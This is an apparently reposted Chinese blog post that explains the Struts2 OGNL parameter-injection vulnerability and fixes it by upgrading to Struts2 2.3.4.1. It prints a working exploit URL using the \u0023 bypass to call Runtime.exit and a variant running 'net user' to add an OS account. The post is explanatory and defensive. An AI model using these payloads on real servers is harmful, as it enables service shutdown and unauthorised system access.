java struts2 漏洞_struts2漏洞原理及解决办法

java struts2 漏洞_struts2漏洞原理及解决办法1、原理Struts2的核心是使用的webwork框架,处理action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数:?user.address.city=Bishkek&user[‘favoriteDrink’]=kumysONGL将它转换为:action.getUser…

大家好,又见面了,我是你们的朋友全栈君。

1、原理

Struts2的核心是使用的webwork框架,处理action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数:

?user.address.city=Bishkek&user[‘favoriteDrink’]=kumys

ONGL将它转换为:

action.getUser().getAddress().setCity(“Bishkek”)

action.getUser().setFavoriteDrink(“kumys”)

这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。

为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:

此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击

?(‘\u0023_memberAccess[\’allowStaticMethodAccess\’]’)(meh)=true&(aaa)((‘\u0023context[\’xwork.MethodAccessor.denyMethodExecution\’]\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

转义后是这样:

?(‘#_memberAccess[‘allowStaticMethodAccess’]’)(meh)=true&(aaa)((‘#context[‘xwork.MethodAccessor.denyMethodExecution’]=#foo’)(#foo=new%20java.lang.Boolean(“false”)))&(asdf)((‘#rt.exit(1)’)(#rt=@java.lang.Runtime@getRuntime()))=1

OGNL处理时最终的结果就是

java.lang.Runtime.getRuntime().exit(1);  //关闭程序,即将web程序关闭

类似的可以执行

java.lang.Runtime.getRuntime().exec(“net user 用户名 密码 /add”);//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/)

只要有权限就可以执行任何DOS命令。

2、解决方法

网上很多文章都介绍了三种解决方法,个人觉得将struts2的jar包更新到最新版本最简单,不用更改任何程序代码,目前最新版本2.3.4

下载到的更新包中有很多jar包,我系统中主要用到以下几个替换掉旧版本的:

commons-lang3-3.1.jar        (保留commons-lang-2.6.jar)

javassist-3.11.0.GA.jar        (新加包)

ognl-3.0.5.jar                (替换旧版本)

struts2-core-2.3.4.1.jar       (替换旧版本)

xwork-core-2.3.4.1.jar         (替换旧版本)

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/161698.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • fpga流水线设计思想_fpga视频容易入门

    fpga流水线设计思想_fpga视频容易入门流水线设计的思想来源是高流量,也就是说时间延迟固定的情况下尽可能的产生高的流量,使得整体的信号传输速率得到提升。这一概念我是最早在《高级FPGA设计——结构、实现和优化》(SteveKilts)一书中接触到的。作者在书中提到,高流量设计的抽象术语就是“流水线”。作者指出:流水线设计的优越性是新数据在前面的数据完成之前就可以进行处理。并给出一个例子,硬件实现计算一个数的三次方。这给出设计代码,用于下文分析比较。1.类似于软件的递归算法实现(非流水线结构)`timescale1ns/

    2022年8月14日
    3
  • Vue(12)组件的组织结构和组件注册「建议收藏」

    Vue(12)组件的组织结构和组件注册「建议收藏」组件的组织通常一个应用会以一棵嵌套的组件树的形式来组织:例如,你可能会有页头、侧边栏、内容区等组件,每个组件又包含了其它的像导航链接、博文之类的组件。为了能在模板中使用,这些组件必须先注册以便

    2022年8月7日
    5
  • zigbee 协议栈睡眠用法[通俗易懂]

    zigbee 协议栈睡眠用法[通俗易懂]大家都知道2430有3种睡眠模式,pm2模式比较省功耗而且可以被定时唤醒;pm3模式最省电但是只能被外部中断唤醒。开启睡眠功能很简单:首先确认/TexasInstruments/ZStack-1.4.3-1.2.1/Projects/zstack/Tools/CC2430DB目录下的f8wConfig.cfg文件中DRFD_RCVC_ALWAYS_ON定义为FALSE;然后在IAR的

    2022年5月22日
    40
  • postman汉化包_python模拟post请求

    postman汉化包_python模拟post请求Postman安装(汉化Postman)一、下载Postman下载地址:https://www.postman.com/downloads/二、下载汉化包下载地址:https://github.com/hlmd/Postman-cn/releases注意:中文包的版本和postman的版本一定要一致,否则会出现汉化后打不开postman的情况postman设置里能看到版本号:汉化包下对应的就可以:三、解压到对应目录四、重启P…

    2022年9月30日
    3
  • 整理计算机病毒的知识点,计算机病毒知识点整理「建议收藏」

    整理计算机病毒的知识点,计算机病毒知识点整理「建议收藏」《计算机病毒分析与防范技术》知识点整理本知识点涵盖期末考试的内容,请自行完善,以便用于开卷考试。7.※清除宏病毒的方法清除宏病毒方法一、验证是否感染了宏病毒?打开需要检查的文档,单击“文件”菜单栏,选择“另存为”命令,如果对话框中的保存类型固定为“文档模板”,则表示这个文件已经感染了宏病毒。二、清除宏病毒的方法1、OFFICE2003方法:打开文档,工具――宏――宏(或者使用组合键“Alt…

    2022年5月7日
    31
  • C++基础入门_C语言入门基础

    C++基础入门_C语言入门基础C++基础入门0.写在前面本篇笔记视频讲解地址:https://www.bilibili.com/video/BV1et411b73Z?p=1笔记配合视频效果更好外链图片上传失败已经解决与各位共勉用来复习回顾使用1C++初识1.1第一个C++程序编写一个C++程序总共分为4个步骤创建项目创建文件编写代码运行程序1.1.1创建项目​ VisualStudio是我们用来编写C++程序的主要工具,我们先将它打开1.1.2创建文件右键源文件,选择添加-&gt

    2025年10月18日
    2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号